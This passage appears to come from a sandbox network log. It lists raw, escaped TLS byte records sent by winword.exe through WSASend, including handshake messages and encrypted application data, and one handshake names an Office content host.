  430. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010j\\xb4\\xb2\\xe4\\xe9\\x9fv\\xf4%\\x8e\\xf6c\\x9c\\xc0\\xbfy\\xc5\\xaa\\xcd\\xf4\\xc5,:\\xb9q\\x079\\x0f\\xb9rp\\xeb\\xe2\\xf3i\\xce\\xdd\\xdfwf\\xe9\\x0c\\xa0\\xe3;\\xc9\\x0fot\\x08nn\\xd0:\\x8cwdg\\xebyv8\\x16\\xf8f\\x931^\\x1d\\xcc4\\xe7\\xe1\\xcd\\xc0bj\\x89\\x86\\x0f=\\xd5\\xef\\x014n\\xbfy\\xce\\xaf'\\x9e\\xb9\\x1e\\xef\\x80m\\xa7h\\xaf%\\x02\\xea\\x9f\\x05\\xbe\\xe7\\xca\\x1f7\\x1f4!\\xc8\\x1fk\\xeb\\xd3\\xa5v\\xad\\xde+\\xba\\xd6\\xc4>\\xe4l\\xa2c\\xf7vs\\xd7\\x04#\\xf2\\x8e\\xfa\\xa1\\xe80k\\x13\\xa0\\xde\\xf56q_`\\xfd\\x94\\x0f\\x14b\\xbe-\\xd9\\xc6\\xc3k\\xf1\\xe6\\x11\\xe8\\xec\\xa8r\\xf7\\x98\\xd8\\xad\\xc2\\xefk\\xcc\\x0b\\x0b\\xc3\\xf8.l\\xc6\\x19\\xf1\\x01\\x19,\\xab\\x85\\x85\\xea\\xfc\\xc1w\\x0e/b\\x01\\x9e\\xb9\\x1b\\xf0\\xf4\\xa3\\xd6\\xfc\\x1aj\\xb3\\x11\\x9d\\xf1u\\xb2,\\xb4\\xc4\\xa0\\xb5\\x00\\xac`ul\\x99\\xdc\\xcb\\xefbx\\xe7\r\\xb0\\x9c\\xb8t\\xf2\\xd5\\x11eh\\xda\\xd7\\x1e\\x92"
  431.  
  432.  
  433. "http_request": "winword.exe_WSASend_\\x8e\\x05\\x01\\x00f\\x10\\x00\\x00ba\\x04_\\x95\\x92\\xe7\\xac\\xbd\\xf6\\xdfe\\xb3zpjo\\x94\\x02\\xa6\\x08*\t#y1\\xe6\\x1di\\xd5\\xfc~y\\x8b:\\xf4y\\x0e\\xb5\\xb1s8\\xcb\\x8d\\xa3\\xaf\\x93h=&\\x0b\\x89o%\\xdff\\xfa\\x95\\xc7\\xc6x\\xf3\\xe9\\xb8\\x8bv\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc5u'\\xe5\\x1c\\xb5:@^\\x0b\\x9an\\xc2\\x99\\xd0x\\xe2br8\\xf8\\x95\\xa5r\\xbb+\\xc2|\\xb8j\\xd6f\\x01\\xd7c\\xd4>\\x11$\\xfb\\x0b\\xabz\\xf6x\\xae\\x9a\\xb7"
  434.  
  435.  
  436. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04x\\xaed\\x97\\x86%\\xdc\\xcd\\xfd\r\\xfa\\xf6\\xfbtk\\x9b^n\\xf9\\x85d3\\x02\\x8d2\\xf4\\x8av\\xa7\\xccs4i\\xa0\\x14\\xd84\\xcc\\x94\\xea(\\x9b\\x1ai\\xe0\\xaa\\xdbes#\\xfe\\\\x12\\xbc\\xa0l\\xcb\\x7f\\xabe\\xe5\\xd0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdf\\xb2\\x1b\\x14\\xec\\xf4\\xfd\\xb1\\xb1|\\x97\\x896e\\xef<o6#\\x97\\x9b\\xa1\\xe9\\x10?,\\xb7d2\\x16\\x1d\\x8d\\xbe6\\\\x9f\\x9d\\x1f\\xca\\x84\\xeay\\x16w\\xe2\\xd6\\xa4"
  437.  
  438.  
  439. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\x00;\\xfen\\x01t\\x84\\x8d\r\\xc0\\xa5\\xa5\\xdb\\xb8>\\x8b\\xde\\x0f\\x87\\x19kv\\xc6%\\xeb7;\\xd4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  440.  
  441.  
  442. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x87\\x1e\\xa6\\x0cru\\xebj\\x12f\\xbe\\xff/\\xedk|\\x17\\x87\\xc7\\x1b\\x8eb:@bio\\x19\\xe2\\xe9\\xaf\\xfal\\xd5\\x9d\\xb0\\xe0j)1\\x84l\\x8ew\\xe4kj\\xa0d\\x9e\\x07j\\x19e_d\\xaa\\xfcp.5\\xfc0\\xcac\\xderzp\\xcc\\xc4\\xc1\\x92\\xad\\x85%\\x04\\xd3\\xce\\xf4\\xea\\xbb\\x92\\xae\"y\\xa1\\xdf!\\xe5+\\xb08sj\\x9b\\x04e'\\xb9\\x17\\xe9|\\xa6m\\xd5%\\x89\\xed\\x88\\x85\\x93\\x99 k\\x1e\\xf7\\xa2x\\xaa/5\\&~\\xfe\\xe9o+iy\\xa0\\x1b\\xbb'\\xa8y\\xce\\xa3~\\xcf\\xdc\\x11\\xac\\xc0q\\xf0hx\\xe1\\x85\\xc4xr\\x82\\xc2\\xb3<\\xc0\\xbf\\x1bsa\\xaa\\xbf\\xb8\\xc8h\\x02\\xa9w\\x8e\\x9b\\x9a\\x82\\xdb\\x94f;lv\\xd2#\\x02\\xfb\\xa0\\xa2\\x05*\\xaf\\x92\\xc6o\\x9e\\xa9\\xff\\xcbj\\xea\\xda?\\xc8i\\x8atrb)\\xb0\\xc9p\\xfd\\x89_\\xa9\\xe9\\x07\\x89\r\\x1f\\xf0\\xbbz\\x85b\\xc4\\xfa\rc\\x1e\\xe7\\xa6\\xf4l\\x90c\\xa6\\x13\\x9b\\x12>j(|\\xab\\xac>"
  443.  
  444.  
  445. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x82z\\x19'\\xa7:.\\xf6x\\xb8\\xd8,\\xe1\\xe8r\\xf1k\\x0c#n<\\x8b3\\xf0*\\xca\\x1c\\xa9*\\xe2b\\x10\\x9e~\\x81v^\\x80\\x81\\xfe\\xe6\\xc674\\xee\\xd5\\xd9x9\\xc0\\x06+\\xb8\\x0b\\x93\\xc1j\\xe8\\xc5tzu\\xf6\\xb50\\x83\\xc4p\\xbb$\\xdf\\x0c\\x95\\xfc\\x1d\\xf0\\x00\\xddo#\\xc0\r\\x877-\\xc8q-\\xdc-\\xd6\\x0c6\\xc5\\x87\\xf0t\n\\xdf\\xddp\\xa7:j\\xe4\\xba\\xe3\\xcc\\xb2c\\x98\\x97\\x19q/\\xb6\\xb1vf\t\\xfb(\\x8chj\\x8fp\\xae\\x8d\\xe6\\xd3\\xc9\\xd8\\x19\\x80\\x03\\x0b\too\\x02*sj\\x8d\\x1dr\\x85\\xab\\x013\\xcbz@\\x1c\\xdb:\\xac\\xa6\\xb1\\xcc\\xb1\\x8b\\xc1\\x91\\xbf2xe$\\x99\\xa1w;\\x0bc\\xc9\\xebm\\xa1\\xe1\\x16 \\xbd\\x85\\xa2f\\x05\\xb9\\xf5\\x95\\x1d\\xa1\\x1b\\x80@_.\\xd9_\\x1ej\\xde\\xa8\\xe7\\x19pp\"\\x00a\\xa5\\xaa\\xf4~o\\xbf\\xa0\\x97\\xbfa\\xf1\\x9c\\x15\\xdc\\xd6\\xae\\x85\\xae\\xd9\\xae\\xea%)\\x81iu\\x86\\x9f\\xb6+o)\\xed\\xf02\\xc1\\xec\""
  446.  
  447.  
  448. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9d\\xc1g\\x84\\xa2\\xc0\"\\xf6\\x008\\x8e.\\xa3\\x9c\\xbe\\x98\t\\xed9\\x84o\\xfc\\x01x?\\xf2@\\x873\\x9f\\xfe\\xb1f\\x83\\xfc\\xe9\\xc5\\xc9*\\xa6\\xcadzw\\xbbk\\xb1\\x1e_\\xd9 \\xddm\\xc3\\xb0\\xc7\\xede\\x08ju\\x8d\\x04y\\xda*\\x8b\\xaa\\xcc\\xe6\\xde\\x9825\\x87y\\x10-_\\x1d\\xc1\\xe9\\x1ed\\xb0\\xbc~-\\xb0?\\xf3\\x8a \\xb5\\xe6qf\\x9fch\\xc6\\xf0\\xd8\\xd3\\xbb\\x924z\\xd4\\xaa\\xc8k\\x93\\x8f\\xc5\\xc1\\xa4\\x01\\x90;\\xac\\x8a\\x92:\\x92\\x03\\xa13,/\\xd7\\xc7g\\x90\n\\x13\\xae\\x1es\\x10\\x05\\xbd\\xa1b)\\xe7\\xcd\\xa1\\x06\\x87\\xa82\\x9f\\x8c!\\x12n\\x90\\xba\\xf5\\xca7(\\xd3\\x893\\xe3\\x0f;\\xcfv\n\\xa5\\xf3\\x1fk\\xa73-\\xfd\\x01\\xa6k\\x88y\\xd5>\\x01j\\xe3\\xd6\\x12\\xa6i\\x96\\c\\x0b\\x80\\xc6\\xb0\\xf1\\x03\\xbep\\x13\\xe7\\xd7\\x18\\x96\\x94\\xd5\\xa9\\x1f\\x8b\\x98\\xb0j\\xd3\\xffv\\xfd\\x82\\xf50c\\x9d4\\x80\\xe8l>m\\xa6\\x8b\\xb0\\xb5\\xa7\\x10#xy\\xa1*\\xdbu\r\\xe6\\x92"
  449.  
  450.  
  451. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa9\\x82\\xd7\\xbf\\x9e\\xb4m\\xf3gk#x\\x9f@\\xaa\\xb0m\\x04#j9x\\xd2\\xa5\\x8f\r\\x08\\x01g\\xe3a\\xa9\\xb0w\\x8c\\xd3z\\xd1\\xa4\\xd8\\x87.qp\\xd7\\xeb\\xd3h\\x15\\xa3\\xa6\\xed\\x18~\\xf3\\x7fu\\xa6\\xec4eem@fn\\x83\\xda+o\\xac\\x19\\xb2\\x03qd:\\xa4r\\xd5\\xf5j+\\xc6o^\\xac<\\xdci\\x10\\x1c\\xefr^gv\\x12\\xea\\xa1q\\x0e0\\x087>\\xf5\\x9f\\xfeb\\x10\\x93\\x06t\\x1e\\x82d\"\\x1c\\x1d\\x00\\xc8\\xa5\\xd5\\xbb\\x11p\\x0c6_\\xe1\\xb6\\xbc\\x9e\\xb4x\\xcbyp\\xd4\\x94g\\x04\\xb9\\xff\\xcd\\x90\\xb1\\xfb\\x1cc\\xf8y'\\x88\\xb0\\x92s\\x13m\\xfaa\\x92\\x9a<u\\xf3nz\\xa5\\x11f\\x8e\\xf0bh$:\\xf9yk\\x17v\\x86\\x1c\\x11(\\x9d\t/yo\\xed\\xdc5\\xe1\\xa2s\\x95m<4h\\xb0\\x92w~wu\\xc2p!\\xd7\\x8c\\xda\\xe1\\xcc\\x01\\x82\\xa5^q1i\\x93\\xf8\\xf1\\xd9\\xdbf\\xd9\\xa9^*\\x0e\\x82\\x05'\\xb2a\\x02\\x07>\\xb5d#@;e\\x01"
  452.  
  453.  
  454. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf5\\xee\\xfe#\\xeeb\\xd8:\\x8d\\xd7\\x86bd\\x9e\\x98\\x15\\xe2\\xbe\r\\x86~\\x95b\\x8eh\\xda7j=\\x17\\x8b\\x07\\xf7m$\\xe1\\x88\\xbd\\xa9\\xf1\\xe1\\xd4\\xa9\\x9cix\\xd6s\\xe6\\xf2f+\\x87\\x7fr\\x10\\xe7\\xf7\\xce+\\xad'\\x8c\\xe0n\\xc0\\xe3\\x0c\\xd0\\x15\\xe6\\x91\\xe7\\xca\\x82\\x1a\\x83\\xd9^d\\x0c\\x87\\xc9\\x9d\\x8e=\\x0b8\\xe7\\x87\\xa40\\xcd\\x02\\xf9\\xe2/\\xf6:o|_\\x85\\xba\\xcekhp+h\\x16\\xf4x\\x1b\\xb0\\x0e|\\x08lk\\xf8=\\x1d9\\xaa\\xcef\\xc3ro|\\xf8\\x8ei\\x1f\\xe8\\xfe\\xe0\\x92\\xafl\\x0e\\xcdlb\\xdf_\\xf4\\x10m\"\\x04\\x0b\\xf4\\xcf\\xcc\\xd9^yo\\xfewy\\x83\\x00\\x92\\xad\\xc0\\x0e\\xaa\\x86-&g\\xfa\\xa5m\\xf6\\xa1\\xc6\\xa0\\xd8,q\\xe9\\x1c#\\xcf\\xf72\n\\xb4\\x98\\x1d\\xc9\\x925+\\xe9bwa\\xca\\xad<\\xf1\\xcc\\x91\\xfa\\xf8|\\xee\\xb3\\xef\\x91\\x054\\x93\\xb2&c\\xc7\\x8c|\\x80\\xbfs\\xb7h\\xafy\\xda\\x1c\\x8a\\x12jk\\xe7\\x18(\\x923\\xa6\\xa2\\x86e"
  455.  
  456.  
  457. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc6\\xe9'\\xf1\\xa6\\xe5\\xe0w7\\x00\\x00\\x19x\\xa5\\x03\\xc1\\xdfd\\x95\\xb3t\\x8eg a\\xbf\\xc2\\xfc\\xe2\t\\xed\\x06m,\\xae\\x9e\\xd1i\\xe6\\xf7<k\\x95u\\xe72\\xd32\\xf83\\xf5\\x12>e\\xbe\\xe87\\x1f\\x98gf\\xb4\\xb3p\\xac=/\\x13zt\\xe7\\x14s\\xc70\\xe7.t\\xcc\\x06\\xb24s1\\x01i\\xd7!\\x9d\\x88\\x83\\xe2d\\xc5>\\\\xa3\\xb6\\xf0<\\xd0$\\x1b8\\x03\\xaa\\xba\\xf4:=\\xee\r\\x02\\x1f\\x1bu\\x84\\xba)s,\\xf7\\xba\\xf8\\x1ft!\\x91\\x01\\x9f\\xa8*o\\xdf\\xcd\\x11\\xfc@f\\xe2\\xe7v\\xe8^z\\x83\\xf6\\xb3\\xdd\\x94\\xfdk\\x10\\x7fz\\xe5:#\\x01v\\xe38#\\xc8\\x88z-\\xcdy^\\xb4g+bh\\xac(\\xd9i>\\x90^\\xb6\\xe7\\xfa\\xcd\\x81_gd1\\x9e|\\xdfn\\xcf:\\xae\\xdf\\xb5\\xc5-?9\r\\xf90i\\xeb\\xfd\\xcdw\\xf5z|2\\xd9\\xb3\\xd5u\\x99j\\xff\\x8azu\\xf7\\xf8\n\\xd8b\\x8eq\\x80g\\xe59(+b7z\\x86:y\\xee"
  458.  
  459.  
  460. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04x\\xf5n\\x0cx*5\\xddx:\\x12t\\xc3\\x9e\\xacr\\x80\\x85aw'f:\\xcf\\xf1\\xe7\\xbe\\x0bhhsc\\x80\\x7fm\\xd4\"\\xc5t\\x83\\xf5%\\x9d\\x13\\xe1\\xfc@\\xc9\\xf6\\x17\\xc4\\xf5f\"!&>\\x8d@*\\xc0jf?\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9c\\xe8\\x82\\xd00\\x01\\x9d\\x08@\\xd4m\\x1f\\xd8\\xb2p\\xf2\\xf6o\\x99\\xa1\\x87\\xed\\xb0!\\xad\\xd2\\xeb\\xed\\x90\\x1a\\x1a\\x1c\\xcam\\xc7+at\\x1b0\\x93\\xd6h\\xed\\x88\\xfd\\xc3\\xdf"
  461.  
  462.  
  463. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04>-\\x0e\\x85\t\\xe0\\x9f\\x89\\xf1 \\xdd|\\xc1\\x8f\\x1f\\xa9w\\x07\\xb6\\xb6%\\x19\\xbe\\x0f\\xa7\\xd9\\x8e\\xbe\\x1c\\x97\\xf4\\xcd\r\"\\xa2ta\\x81\\x17\n\\x02\\xf2!r\\xae\\x9dq\\xfa\\xe1\\xb4\\xe7\\x8b3\\xc5\\x1434\\xf2\\x19\\xe8vr'!\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa5\\xf8iof\\xbee\\x0e\\xb9\\xc1\\x0b/\\xac~b\\x0f\\xe1yr\\x94\\xb9\\xcb\\xb1\\x97\\x1b\n\\x896\\xb5\\xed\\x81o\\x06\\x82\\xefj\\xa5\\x18\\x92\\x00i'i\\x1a\\x12\\xc0fs"
  464.  
  465.  
  466. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdd\\xb0\\xe3_\\xa4\\xb0\\x1d>\\x9dlr\\xc7n\\xb4\\xd6\\x05\\x8d\\xc6\\x92ep\\x96\\x91@&@\\xe72\\xc3\\xcec\\xc2~v\\x7f)'\\xde\\xbf\\x9dl\\xf7?@+\\xea^#\\x05\\x82'\\xad\\xc8\r\\xb2\ti\\xff\\xe7\\x1e\\xee\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000x\\xa9\\x00\\x1f\\xcd\\xff\\xd6%\\xc85\\xb7b^h\\xf4awan\\xfc\tu\\xfe>d\\x0c\\x86g\\xfc\\xa0\\xf5\\xce\\x8e\\xe97\\xbcy\\xd79\\xa5\\xf4\\x99\\xf6\\x80y\\x06\\x07"
  467.  
  468.  
  469. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04p\\xec*>\\xf7\\x05l\\xea\\x18k\\x9eh5k\\xda\\x83\\x00gcq\\\\x15\\xfen\\x81\\xa5'w\\xae\\xdb\\xf6-\rh\\xbd\\xb6;j\\x93.b)\\xc7iw\\x8a\\x8f\\n\\x05\\xcdfy\\xb8\\x86;\\x15\\xfci\\xc9\\x88\\x1b\\x8bi\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000v\\x963\\x852\\xee+\\xf1\\xbb\\xa7@\\xd3ta\\xdcg\\xf3\\x8a\\xefj+\\x12x\\x10\\xf4u\\xca\\xaetm\\x07\\x96j\\x92\\xe06\\xc9s\\xdbf$\\xb97\\xcc\\x91lh\\xb5"
  470.  
  471.  
  472. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdbz\\x9ek\"\\x01\\xeeh\\xe9\\x9d\\xbc\\x07\\xb6ex\\xf1\n\\x98\\xd7\\xba\\xe0e\\x89y\\xccn\\xd0\\x10\\xa6\\xf8^\\xadi\\x85\\xc1\\x046\\x18\\xcd\\xe8\\xc7tc\\x95\\xb3\\xe6\\x08\\x8d\\xf8\\xc2\\xb9`4\\x94\\xed\\x0c\\x0c\\x81og\\xe5a\\x18|\t\\x0e\\xb2\\x0e\\xc7\\xab\\x88o\\xf8\\x92\\xa8n\\xd4g\\xfag\\xa3\\xfc\\xf4\\xe7\\x14\\xb6\\x841\\x91\\xd9\\xb56\\x13:\\x94\\xeckv\\x91\\xf9\\xe1\\xff\\xaf~=\r\\x90h\\xd3\\xc8\\x86\\xb6l\\x12\\xe0~+5\\xea\\x02\\x96\\x16zg\\xf9\\x04tyjq\\x13&\\xc56z\\xe6\\x1f\\x00o%/(%7wu0\\xf4\\x87f\\xfa\\x9f\\xf5a6k\\xcb\\xc0fq\\xee\\x98\\xd3\\x8a\\x08\\x97\\xebi<\\x04\\x964\\x18\\xb3\\x06\\x8e\\x83\\xb4\\xcc\\xac\\xc6\\x9f\\xd4f\\xd2\\xf1\\xcd*\\xe3\\xf4\\xd0l\\xe3\\xa4\\xaa\\x1a\\xab5\\x84_\\xe8\\x00(ep\\x12e0\\xda\\xad\\xc0\\xcf\\x06\\xbcj=\\xc0i`\\xc3*\\x01\\xbe\\\\xc1\\xf4\\xda\\xc56\\x87\\xb3k|\\x8bv\\xaft.\\xfax\\x8bi\\x1c&n\\x07q\\x1d\\xc1"
  473.  
  474.  
  475. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04dw\\xe2\\xe5\\xc0iz\\xfb\\x941:vv\\xcf#\\xfa\\x89\\xa0\\xd0j\\xfc\\xc9\\x10\\xfe`\\\\xce\\xed\\xf6\\xa3\\x04`\\xb4\\xd3\\xc6\\xb3\\x88\\xeazau\\xce\\xf5\\xb9\\xfe\\x9en\\x89\\xe3?\\xbb4\\xec\\xe0\"\\xad\\x1c\\xf3v\\x91\\xe2\\xa2\\x15\\x10\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000s\\x96y\\x85\\x04\\x05\\xd8\\x03?\\xa1n\n\\xf3:>2\\xf1\\xf2\\x18\\xef\\xd5z\\xa8\\x96n\\xfa\\x0e\\x9ap\\x81\\x98\\xd4t \\xbc#\\xb0\\x02!\\xa1k\\x97y\r4\\xce2\\xdd"
  476.  
  477.  
  478. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x045\\xd4\\xb4au\\x12\\xc6\\x8f\\x05p\\x1f\\xf6\"g\\x92\\xdc\\x02nbg\\xe5l\\x93\\xc4<\\xf4\\xb90v\\xab\\xcc\\xfd\\x91d\\xf3\\xdb\\xdf\\xd2\\xac\\xc5\\xfc\\xcc&\\xb8\\xfbj\\x80c\\x0b7\\xc8\\xeb\\x1b\\xaf\\xe7\\xef\\xff|i\\xdb\\xb10\\xd8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000a\\xa4\\xf7\\xfc\\xed8q\\x08\\xa8-\\xb3\\xbe_\\x07r\\x0e\\xeft\\x92\\xa3>pk?\\xe1\\x9c\\xeat\\x97\\xa7\\x87b\\xa0\tb\\xado\\xaf\\x9f\\x8d\\x96(ju-8w\\xce"
  479.  
  480.  
  481. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x91\\xf1v\\x9f\\xf4\\xf4f\\x14\\x9b?\\xca\\xafhg\\xb1\\x0e\\xbd\tgl\\x9f\\xcbhiuw\\xd5&;\\\\xfbw\\xdau\\xba0r\\x8c.\\x15\\x7f6\\x1c\\xcb\\xd3\\xd4\\xa9\\x90\\xfe\\xcen\\x04?\\xb8\\xac\\x9f5f\\xc9\\xd7\\\\xac\\x03\\x8b:_\\x9a\\x9b\\xb2y\\xa9\\xa4\\x87i\\xde\\xa6\\xb5x\\x1b\\x99n\\x9a9\\x1d\\x80\\xde\\xaf\\xdd\\x9di\\xb5_\\x94\\xac*b\\xef\\xddkr\\xd4\"\\x0fd\\xee_\\xdaa\\x86\\xfebyo\\xf5\\xe4\\xd6.\\xc6\\xf5`\\xbfk\\xd8\\x83h\\x7f\\xbe\\x1fi\\x94\\x8c\\x02iu\\x11\thn\\xa3\\xca\\xb7x\\x97\\x8d<\\xdc\\x05&\\xc6\\x8f8\\xf4\\xfd\\xd9\\x99\\x9b\\x80:\\x97\\x833k\\xb1n\\x00x\\x14,\\xa5\\xd6\\xb4r\\xac\\xf9\\xd1(\\xcc\\xd4\\xadpx\\xc0\\xe0\\\\x8b\\x87\\x95\\x9d2\\x00\\xa0\\xd2\\xb8\\xe7w|\\xd6\\xc1pr\\xd5\r\\xab\\x02pps\r\\xedf/\\xbb\\xdf\\xd3\\xcf\\x03\\xa2\\xb2bhl\\xbc\\xc7\\xe4\\xec\\x89\\xd2z\\xb2\\xf5,\\xd3\\xd5d\\x95w\\x89yp\\x04\\x8e\\xf0\\xda~\\xbd"
  482.  
  483.  
  484. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xac\\xec~\\xad\\xb9\\x06\\xd6\\xb1\\xb5\\x1f)\\xcc\\x9e\\xa5b\\x08\\xa67\\xa5\\xab\\x07\\x97j\\x045\\xfd\\xbf\\xcc\\x08\\xc2\\x96p\\xf7\\x00\\x9f\\x8a\\xf8#\\xaa^\\x02`i\\x8d\\x86<m!\\xd3c\\xe3\\x18\\xd2\\xcaz\\x8e\\xbb\\xc6\\x07\\x02\\xa7\\xcb\\x08\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd0\\x06\\xc2\\xef\\xd2.\\xda\\xa9\\xf1\\x12wr\\x9b\\x03q_\\x17\\x9a\\xa4\\x12\\xa2|w\\x88\\xef\\xfa\\x96\\xe0u\\xa9r\\xd7\\x07\\x7fl\\xb8(\\xb6z\\x90\\x9b\\xdei\\x89,n\\x94\\xf1"
  485.  
  486.  
  487. "http_request": "winword.exe_WSASend_x>\\xcf\\x10\\x90\\xc2\\xd3\\x10\\xf4\\x8b\\x89\\xd2\\x1b\\x1eh%*\\x11 \\xda\\x90:\\x88p\\xe6\\x02n\\xe5$m\\xc7q\\xa5r\\xe3mm\\x1b\\x7f\\x0f\\xbc\\x9bw\\x8f=\\x1e\\x91\\xd5\\xd9t\\xe5\\xe6>\\xdc\\xad~\\xda\\xeat\\xc6\\x03-_\\xca\\xf3v\\xd9\\xabv\\xee\\xa1\\x8dc\\x1a\\xa1\\x18k\\xba\\xe5\\xb1(\\xba\\xa3\\xbf<\\x15\\xca\\x13\\xf79\\xa3\\xab\\xd8n\\x95d\\x9316\\x8e\\xd6\\xcb*<\\x0c\\xe6\\xe16\\x08\\x13h\\xa5i\\xf5\\xbd\\xd5/`\\xbc\\xa6\\xd9g\\xca\\xb7\\xc4p\\xc1\\x83\\xccg\\xccm\\xf9\\x85\\xf2\\xf0\\xde\\xbe\\xfdt\\xf2\\x0b\\xf4jm\\x99bc\\xbf\\xad\\xcf\\x18m\\x07\\xdc\\xc0\\xa3\\xccf-u\\xa3_.cdg\\x11\\x96:\\xfa\\xe5\t`-\\x08\\xc3h\\xc3\\x8d\\x81\\x90\\xaa\\xcf\\x86\\x0b\\xb8l\\xba,\\xa0\\xe1\\x12o2\\x15\\xa0\\xeep\\x81\\xb7v\\x06%ol\\x89\\xeb\\x80z.\\xdfw\\xb8mzr7\\xf0\\x8f%\\xa3\\xd9y\\x84\\xab\\x9b\\xda\\xd8\\xe4\\x84\\xa6x\\x19\\xffj\\xd3\\x8a\\xfa\\xa4\\xcd\\xa4q\\xa3x:\\xc0\\xdf\\xd9"
  488.  
  489.  
  490. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x16\\xa0\\xb9\\x1e\\x0ca\\xef\\xb7\\x10\\xe7\\xce7\\x96y\\xe6%e\\xbe\\x924t*\\x00\\xb0$\\x8ch!7\\xe7\\x9d~c\\xed_\\x15\\x0c\\x9e\\xd7\\xa3\\x14\\xd2\\xff\\x88^i\\xfb)\\x1d4\\xbbwxw\\xe1\\xa2\\x01\\xd3\\xd4\\x15\\xb8\r\\xd5f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000h\\x83j\\xfax\\xde\\x94\\xb1\\x19\\xcb\\xbe\\x96\\x98\\x95\\xeb\\x08t\\xbb\\x16\\xe7\\x07\\xbco\\xeb\\xda!w\\xde=\"\\xb8s\\xe6\\x1d\\xd5j\\xfc\\xde\\x0e\\x1d\\xbfl\\xda\\xbdg\\xf6)"
  491.  
  492.  
  493. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdc)\\x1e=ee\\xe0\\xa4\\x9c2\\xec@3\\x1f\\xd6o\\x8e\\x8f\\xe5\\xaad\\x10\\xe8u\\xcf\\x9f\\xc6\\xf9. \\xc2\\xce\\xd4\\x9cky\\xb5\\xfb\\x16\\xa0\\x04\\xcf\\xeb-\\xcb\\xbczj\\x80\\xb2>d\\xb3a\\xe5\\xc1\\x89\\x16\\x08\\x96\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa4\\xe3k\\x11\\xa3\\xe2\\x8d&\\xa4\\xa2p\\x80\\x8e\\x195\\xebm\\x17\\x89\\xbe\\x91c/\\xfb\\xa09\\xfe\\xe7vva\\xfe*\\x99j\\xeeif\\xda\\xeb\\x85a\\xae'\\x8ek\\xdf\\xcf"
  494.  
  495.  
  496. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd8\\xef\\x9e=!\\xb3\\xd0\\xefr\tg\\xc4s\n\t\\xd5_\\xca\\xd7\\x85\\x03\\xe2\\x07\\xa9\\xac\\xf7\\x89_\\x07\\x9ca(\\xdb\\x04\\xfb\\xd1\\xfb\\xbd\\xa8\\x0f\\xeby\\xae/\\xb2\\xc4~\\x08\\x88s\\xa7cjy\\xcd\\x97\\x99\\x16\\xe6,\\x1e\\xe8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xac\\xfe\\x16\\xdf\\x02ef\\x1e\\xc5\\xe1\\x88\\x8a\\xb2\\xb8x\\xef!\\xa7b\\xdd\\x0e\\x97\\x8c?\\xeb\\xe9\\xa7dm\\xaf\\xea\\x80\\xdf\\xd2\\xa29\\xb0m8fm\\xaf\\x91\\xbb\\x89c\\xb5\\xce"
  497.  
  498.  
